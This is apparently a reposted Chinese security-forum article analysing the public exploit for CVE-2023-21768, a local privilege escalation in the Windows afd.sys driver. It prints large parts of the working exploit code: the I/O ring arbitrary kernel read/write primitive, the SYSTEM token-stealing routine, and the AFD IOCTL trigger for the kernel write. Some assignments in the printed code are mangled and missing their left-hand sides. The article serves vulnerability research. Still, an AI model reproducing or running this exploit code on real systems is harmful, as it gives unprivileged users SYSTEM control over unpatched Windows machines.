Windows_AFD_LPE_CVE-2023-21768分析
 
                    
本文为看雪论坛优秀文章
看雪论坛作者ID:N1ptune
CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。
本文是对exp代码的分析,完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)(https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768)
漏洞分析
个人感觉整个exp中最精华的部分在ioring的lpe部分,这部分代码来自Yarden Shafir(https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/)。
I/O ring
i/o ring 是Windows 11(22H2)新出现的一种机制,参考ioringapi - Win32 apps | Microsoft Learn(https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/)
通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。
HRESULT CreateIoRing(IORING_VERSION ioringVersion,IORING_CREATE_FLAGS flags,UINT32 submissionQueueSize,UINT32 completionQueueSize,HIORING *h);
submissionQueueSize和completionQueueSize会被替换成2的幂数,使用GetIoRingInfo获取实际大小。
submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。

submission queue entry的结构:

以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。
通过SubmitIoRing函数提交。
正常情况下这个操作是不会出问题的,但是如果我们有一个任意写漏洞的时候会发生什么呢?
如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。
也即通过BuildIoRingWriteFile实现任意读,通过BuildIoRingReadFile实现任意写。
创建I/O ring
创建I/O ring对象,再创建两个命名管道用做读写句柄。
ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr){int ret = -1;IORING_CREATE_FLAGS ioRingFlags = { 0 };= IORING_CREATE_REQUIRED_FLAGS_NONE;= IORING_CREATE_REQUIRED_FLAGS_NONE;ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);if (0 != ret){goto done;}ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);if (0 != ret){goto done;}pIoRing = *ppIoRingAddr;hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe)){ret = GetLastError();goto done;}hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient)){ret = GetLastError();goto done;}ret = 0;done:return ret;}
任意读
首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen){int ret = -1;PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);IORING_CQE cqe = { 0 };pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);if (NULL == pMcBufferEntry){ret = GetLastError();goto done;}= pReadAddr;= ulReadLen;= 0xc02;= 0x80;= 1;= 1;= pMcBufferEntry;ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);if (0 != ret){goto done;}ret = SubmitIoRing(hIoRing, 0, 0, NULL);if (0 != ret){goto done;}ret = PopIoRingCompletion(hIoRing, &cqe);if (0 != ret){goto done;}if (0 != cqe.ResultCode){ret = cqe.ResultCode;goto done;}if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)){ret = GetLastError();goto done;}ret = 0;done:if (NULL != pMcBufferEntry){sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);}return ret;}
任意写
先将需要写的数据写入到管道中,在设置好WriteAddr和WriteLen,使用BuildIoRingReadFile将数据写入到WriteAddr处。
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen){int ret = -1;PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);IORING_CQE cqe = { 0 };if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL)){ret = GetLastError();goto done;}pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);if (NULL == pMcBufferEntry){ret = GetLastError();goto done;}= pWriteAddr;= ulWriteLen;= 0xc02;= 0x80;= 1;= 1;= pMcBufferEntry;ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);if (0 != ret){goto done;}ret = SubmitIoRing(hIoRing, 0, 0, NULL);if (0 != ret){goto done;}ret = PopIoRingCompletion(hIoRing, &cqe);if (0 != ret){goto done;}if (0 != cqe.ResultCode){ret = cqe.ResultCode;goto done;}ret = 0;done:if (NULL != pMcBufferEntry){sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);}return ret;}
I/O ring lpe
找到system进程然后替换token。
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt){int ret = -1;HANDLE hProc = NULL;ULONG64 ullSystemEPROCaddr = 0;ULONG64 ullTargEPROCaddr = 0;PVOID pFakeRegBuffers = NULL;_HIORING* phIoRing = NULL;ULONG64 ullSysToken = 0;char null[0x10] = { 0 };hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);if (NULL == hProc){ret = GetLastError();goto done;}ret = getobjptr(&ullSystemEPROCaddr, 4, 4);if (0 != ret){goto done;}printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);if (0 != ret){goto done;}printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr){ret = GetLastError();goto done;}memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);phIoRing = *(_HIORING**)&hIoRing;phIoRing->RegBufferArray = pFakeRegBuffers;phIoRing->BufferArraySize = ulFakeRegBufferCnt;ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));if (0 != ret){goto done;}printf("[+] System token is at: %llx\n", ullSysToken);ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));if (0 != ret){goto done;}ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);ret = 0;done:return ret;}
漏洞成因
通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。

这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值,所以设置好这里就可以实现任意写。
查找这个函数的引用是AfdNotifySock。继续查找引用,发现其在AfdImmediateCallDispatch中是最后一个函数。
在AfdIoctlTable中找到最后一个ioctl_code, 是0x12127。
与afd.sys交互参考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls(https://www.x86matthew.com/view_post?id=ntsockets)
查看AfdNotifySock函数。

检测
if ( InputBufferLength != 0x30 || OutputBufferLength ){v10 = STATUS_INFO_LENGTH_MISMATCH;goto LABEL_45;}if ( !v7->dwCounter )goto LABEL_5;if ( v7->dwLen ){if ( !v7->pPwnPtr || !v7->pData2 )goto LABEL_5;}else if ( v7->pData2 || v7->dwTimeout ){LABEL_5:v10 = STATUS_INVALID_PARAMETER;goto LABEL_45;}v11 = v7->hCompletion;Object = 0i64;v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64);if ( v10 >= 0 ){v12 = IoIs32bitProcess(0i64);v13 = 0;v14 = (unsigned __int64 *)MmUserProbeAddress;while ( v13 < v7->dwCounter ){if ( pre_mode ){v24 = 0i64;v25 = 0i64;v15 = v13;v16 = v7->pData1;if ( v12 ){v17 = (unsigned __int64)v16 + 16 * v13;v31 = v17;if ( (v17 & 3) != 0 )ExRaiseDatatypeMisalignment();if ( v17 + 16 > *v14 || v17 + 16 < v17 )*)*v14 = 0;*)&v24 = *(unsigned int *)v17;*)&v24 + 1) = *(unsigned int *)(v17 + 4);= *(_WORD *)(v17 + 8);= *(_BYTE *)(v17 + 10);}else{v17 = (unsigned __int64)v16 + 24 * v13;if ( v17 >= *v14 )v17 = *v14;v24 = *(_OWORD *)v17;v25 = *(_QWORD *)(v17 + 16);}v18 = &v24;v27 = &v24;}else{v15 = v13;v17 = 3i64 * v13;v18 = (__int128 *)((char *)v7->pData1 + 24 * v13);v27 = v18;}v19 = a1;if ( v13 )v19 = 0i64;= pre_mode;v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19);if ( pre_mode ){v21 = (char *)v7->pData1;v14 = (unsigned __int64 *)MmUserProbeAddress;if ( v12 )v22 = &v21[16 * v15 + 12];elsev22 = &v21[24 * v15 + 20];if ( (unsigned __int64)v22 >= MmUserProbeAddress )v22 = (char *)MmUserProbeAddress;*)v22 = v20;}else{*)v7->pData1 + 6 * v15 + 5) = v20;v14 = (unsigned __int64 *)MmUserProbeAddress;}++v13;}v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);}
为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。
查看AfdNotifyRemoveIoCompletion函数。
dwLen = a3->dwLen;if ( !(_DWORD)dwLen ){LABEL_33:v8 = 0;goto LABEL_34;}if ( a1 )v9, v11);v8 = IoRemoveIoCompletion(v25, Pool2, v4, (unsigned int)dwLen, &v20, a1, v13, 0);if ( !v8 ){if ( v19 ){for ( i = 0; i < v20; ++i ){v15 = &Pool2[32 * i];v16 = (char *)a3->pData2 + 16 * i;= *(_DWORD *)v15;= *((_DWORD *)v15 + 2);= *((_DWORD *)v15 + 6);= *((_DWORD *)v15 + 4);}}*)a3->pPwnPtr = v20;goto LABEL_33;}
将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。
最后整合到一起就是:
int ArbitraryKernelWrite0x1(void* pPwnPtr){int ret = -1;HANDLE hCompletion = INVALID_HANDLE_VALUE;IO_STATUS_BLOCK IoStatusBlock = { 0 };HANDLE hSocket = INVALID_HANDLE_VALUE;UNICODE_STRING ObjectFilePath = { 0 };OBJECT_ATTRIBUTES ObjectAttributes = { 0 };AFD_NOTIFYSOCK_DATA Data = { 0 };HANDLE hEvent = NULL;HANDLE hThread = NULL;// Hard-coded attributes for an IPv4 TCP socketBYTE bExtendedAttributes[] ={0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE};ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);if (0 != ret){goto done;}ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);if (0 != ret){goto done;}ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);ObjectFilePath.MaximumLength = ObjectFilePath.Length;ObjectAttributes.Length = sizeof(ObjectAttributes);ObjectAttributes.ObjectName = &ObjectFilePath;ObjectAttributes.Attributes = 0x40;ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));if (0 != ret){goto done;}Data.hCompletion = hCompletion;Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);Data.dwCounter = 0x1;Data.dwLen = 0x1;Data.dwTimeout = 100000000;Data.pPwnPtr = pPwnPtr;if ((NULL == Data.pData1) || (NULL == Data.pData2)){ret = GetLastError();goto done;}hEvent = CreateEvent(NULL, 0, 0, NULL);if (NULL == hEvent){ret = GetLastError();goto done;}_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);ret = 0;done:if (INVALID_HANDLE_VALUE != hCompletion){CloseHandle(hCompletion);}if (INVALID_HANDLE_VALUE != hSocket){CloseHandle(hSocket);}if (NULL != hEvent){CloseHandle(hEvent);}if (NULL != Data.pData1){VirtualFree(Data.pData1, 0, MEM_RELEASE);}if (NULL != Data.pData2){VirtualFree(Data.pData2, 0, MEM_RELEASE);}return ret;}
参考
Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)
https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/
One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)
https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)
https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls
https://www.x86matthew.com/view_post?id=ntsockets

看雪ID:N1ptune
https://bbs.kanxue.com/user-home-913941.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
                        关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
                        让资讯触达的更精准有趣:https://www.0xu.cn/
                    
 关注KnowSafe微信公众号
            关注KnowSafe微信公众号随时掌握互联网精彩
- Orion-Visor高颜值、现代化的智能运维&轻量堡垒机平台
- One API OpenAI 接口管理 & 分发系统
- AppNode安装后无法访问网站?
- 男子用ChatGPT编假新闻被采取刑事强制措施;苹果M3芯片下半年量产;Safari超Edge,成第二大桌面浏览器|极客头条
- 如何让 AI 像人类一样存有大量记忆?
- 首次对话推特员工,马斯克:向微信学习,争取“10 亿日活”,优秀员工才能远程办公!
- 杭州市副市长缪承潮一行走访慰问又拍云公司新的社会阶层代表人士
- 全站 HTTPS 就一定安全了吗?
- 诸子云 |话题:渗透测试怎么选?主机安全咋考虑?安全产品本身不安全怎么办?
- 3 年培养 10 万“码农”,郑州推出“码农计划”
- 高朋满座话未来|专访iQOO中国市场总裁冯宇飞
- 暗度陈仓!超两千万部金立手机变肉鸡,魅族回应称未参与过

 
                 
             
             
            
 
        
 
        
